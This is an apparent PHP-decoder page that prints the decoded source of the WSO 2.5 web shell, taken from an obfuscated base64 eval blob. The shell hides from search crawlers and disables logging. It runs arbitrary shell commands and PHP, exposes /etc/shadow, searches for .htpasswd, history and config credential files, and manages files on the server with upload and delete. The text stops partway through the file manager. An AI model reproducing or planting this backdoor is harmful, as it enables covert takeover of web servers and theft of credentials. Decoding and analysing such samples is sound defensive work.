Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval( base64_decode( 'ZXZhbChiYXNlNjRfZGVjb2RlKCdEUW8vUGp3L2NHaHdEUW9qSXlNakl5TWpJeU1qSX..

Decoded Output download


?><?php
##################################################################
?><?php


if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
	function WSOstripslashes($array) {
		return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
	}
	$_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
	die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function wsoHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);
    
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function wsoPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoWhich($p) {
	$path = wsoEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionSecInfo() {
	wsoHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function wsoSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}

	wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	wsoSecParam('Open base dir', @ini_get('open_basedir'));
	wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	wsoSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';

	if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."
";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
	} else {
		wsoSecParam('OS Version',wsoEx('ver'));
		wsoSecParam('Account Settings',wsoEx('net accounts'));
		wsoSecParam('User Accounts',wsoEx('net user'));
	}
	echo '</div>';
	wsoFooter();
}

function actionPhp() {
	if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

	wsoHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					WSOsetcookie('act', $_POST['p1']);
					WSOsetcookie('f', serialize(@$_POST['f']));
					WSOsetcookie('c', @$_POST['c']);
				}
				break;
		}
	}
    wsoHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
